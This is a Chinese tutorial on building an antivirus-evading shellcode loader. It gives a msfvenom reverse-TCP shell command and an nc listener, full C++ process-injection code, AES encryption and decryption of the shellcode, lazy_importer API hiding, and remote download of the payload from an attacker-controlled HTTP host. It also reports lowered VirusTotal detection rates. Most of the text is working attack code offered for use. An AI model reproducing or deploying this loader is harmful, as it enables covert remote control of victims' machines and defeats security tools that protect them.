免杀笔记之 aes 加 lazy_importer 加 shellcode 分离
字数 1166 2025-08-07 08:22:05

AES加密与Lazy Importer结合的Shellcode免杀技术

0x00 前言

本文详细讲解一种静态免杀技术,结合AES加密shellcode、lazy_importer去除符号和shellcode分离三种技术,有效绕过杀毒软件的静态检测。技术思路来源于captmeelo.com的lazy-maldev文章。

0x01 环境准备

  • 开发环境:VS2019
  • 攻击机:Kali Linux (192.168.94.141)
  • 受害机:Windows 10 (192.168.94.128)
  • 工具:CFF Explorer
  • 技术基础:进程注入知识

生成Shellcode

在Kali上使用msfvenom生成shellcode:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234 -f c -b \x00\x0a\x0d

使用nc监听1234端口:

nc -lvp 1234

0x02 基础注入代码分析

初始注入代码(裸奔版本):

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "msf生成的shellcode";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

此代码存在两个主要检测点:

  1. Shellcode本身
  2. 敏感API函数调用(OpenProcess, VirtualAllocEx等)

0x03 Shellcode加密处理

AES加密实现

使用AES-CBC模式加密shellcode,推荐使用以下库之一:

  1. SergeyBel/AES
  2. kokke/tiny-AES-c
  3. kkAyataka/plusaes

加密代码示例

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "msf生成的shellcode";
    SIZE_T bufSize = sizeof(buf);
    
    unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);

    // 输出加密后的shellcode
    printf("unsigned char buf[] =\n");
    int count = 0;
    for (int i = 0; i < bufSize - 1; i++) {
        if (count == 0) printf("\"");
        printf("\\x%02x", buf[i]);
        if (++count == 15) {
            printf("\"\n");
            count = 0;
        }
    }
    printf("\";\n");
    return 0;
}

注意事项

  • 必须处理PKCS7填充问题,因为shellcode长度可能不是16的整数倍
  • 推荐使用256位密钥(AES-256)增强安全性

解密执行代码

unsigned char buf[] = "aes解密后的shellcode";
SIZE_T bufSize = sizeof(buf);

unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buf, bufSize);

0x04 敏感函数隐藏技术

Lazy Importer技术

使用JustasMasiulis/lazy_importer库隐藏API调用痕迹:

#include "lazy_importer.hpp"

// 替换所有敏感API调用
processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize, nullptr);
remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
LI_FN(CloseHandle)(processHandle);

Syscall替代方案

作为备选方案,可以使用直接系统调用来绕过API监控,但实现较为复杂。

0x05 Shellcode分离技术

通过网络远程加载加密的shellcode,进一步降低检测率:

#include <tchar.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#define BUF_SIZE 1024

LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, unsigned char* buff)
{
    HINTERNET hSession = InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if(hSession != NULL) {
        HINTERNET hRequest = InternetOpenUrlA(hSession, lpcInterNetURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
        if(hRequest != NULL) {
            DWORD dwBytesRead;
            char szBuffer[BUF_SIZE] = {0};
            if(InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead)) {
                RtlMoveMemory(buff, szBuffer, BUF_SIZE);
            }
            InternetCloseHandle(hRequest);
        }
        InternetCloseHandle(hSession);
    }
    return 0;
}

// 使用示例
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);

0x06 其他优化建议

  1. 使用HeapAlloc代替VirtualAlloc
  2. 针对特定杀毒软件添加混淆层
  3. 使用VMP等加壳工具进一步保护代码
  4. 实现shellcode的分散加载技术

完整代码示例

完整实现结合了AES加密、lazy_importer和网络加载三种技术:

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "lazy_importer.hpp"
#define BUF_SIZE 4096

#include <iostream>
#include "AES.h"
#include "Base64.h"

using namespace std;

const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";

string DecryptionAES(const string& strSrc)
{
    string strData = base64_decode(strSrc);
    size_t length = strData.length();
    char* szDataIn = new char[length + 1];
    char* szDataOut = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    memcpy(szDataOut, strData.c_str(), length + 1);

    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    // PKCS7Padding去除
    if (0x00 < szDataOut[length - 1] <= 0x16) {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--) {
            if (szDataOut[i] != tmp) {
                memset(szDataOut, 0, length);
                break;
            }
            else szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int main(int argc, char* argv[])
{
    // 远程获取加密shellcode
    char buf[BUF_SIZE] = { 0 };
    char url[MAX_PATH] = "http://192.168.94.141:8000/buf.txt";
    GetInterNetURLText(url, buf);

    // 解密shellcode
    string strbuf = DecryptionAES(buf);
    char buff[BUF_SIZE] = { 0 };
    for (int i = 0; i < strbuf.length(); i++) {
        buff[i] = strbuf[i];
    }

    // 转换shellcode格式
    char* p = buff;
    unsigned char* shellcode = (unsigned char*)calloc(strlen(buff)/2, sizeof(unsigned char));
    for (size_t i = 0; i < strlen(buff)/2; i++) {
        sscanf(p, "%2hhx", &shellcode[i]);
        p += 2;
    }

    SIZE_T bufSize = strlen(buff)/2;

    // 使用lazy_importer隐藏API调用
    HANDLE processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    PVOID remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize, nullptr);
    HANDLE remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
    LI_FN(CloseHandle)(processHandle);

    return 0;
}

效果评估

通过VT检测结果对比:

  1. 原始版本:多款杀毒软件检测
  2. AES加密后:检测率降低约50%
  3. 加入lazy_importer:进一步减少检测
  4. 分离shellcode后:仅剩少数检测

总结

本技术通过三重防护实现有效免杀:

  1. AES加密保护shellcode静态特征
  2. lazy_importer隐藏敏感API调用
  3. 网络分离shellcode避免本地存储

完整代码已上传GitHub:https://github.com/fengwenhua/lazy_importer_aav

AES加密与Lazy Importer结合的Shellcode免杀技术 0x00 前言 本文详细讲解一种静态免杀技术,结合AES加密shellcode、lazy_ importer去除符号和shellcode分离三种技术,有效绕过杀毒软件的静态检测。技术思路来源于captmeelo.com的lazy-maldev文章。 0x01 环境准备 开发环境:VS2019 攻击机:Kali Linux (192.168.94.141) 受害机:Windows 10 (192.168.94.128) 工具:CFF Explorer 技术基础:进程注入知识 生成Shellcode 在Kali上使用msfvenom生成shellcode: 使用nc监听1234端口: 0x02 基础注入代码分析 初始注入代码(裸奔版本): 此代码存在两个主要检测点: Shellcode本身 敏感API函数调用(OpenProcess, VirtualAllocEx等) 0x03 Shellcode加密处理 AES加密实现 使用AES-CBC模式加密shellcode,推荐使用以下库之一: SergeyBel/AES kokke/tiny-AES-c kkAyataka/plusaes 加密代码示例 : 注意事项 : 必须处理PKCS7填充问题,因为shellcode长度可能不是16的整数倍 推荐使用256位密钥(AES-256)增强安全性 解密执行代码 0x04 敏感函数隐藏技术 Lazy Importer技术 使用JustasMasiulis/lazy_ importer库隐藏API调用痕迹: Syscall替代方案 作为备选方案,可以使用直接系统调用来绕过API监控,但实现较为复杂。 0x05 Shellcode分离技术 通过网络远程加载加密的shellcode,进一步降低检测率: 0x06 其他优化建议 使用HeapAlloc代替VirtualAlloc 针对特定杀毒软件添加混淆层 使用VMP等加壳工具进一步保护代码 实现shellcode的分散加载技术 完整代码示例 完整实现结合了AES加密、lazy_ importer和网络加载三种技术: 效果评估 通过VT检测结果对比: 原始版本:多款杀毒软件检测 AES加密后:检测率降低约50% 加入lazy_ importer:进一步减少检测 分离shellcode后:仅剩少数检测 总结 本技术通过三重防护实现有效免杀: AES加密保护shellcode静态特征 lazy_ importer隐藏敏感API调用 网络分离shellcode避免本地存储 完整代码已上传GitHub:https://github.com/fengwenhua/lazy_ importer_ aav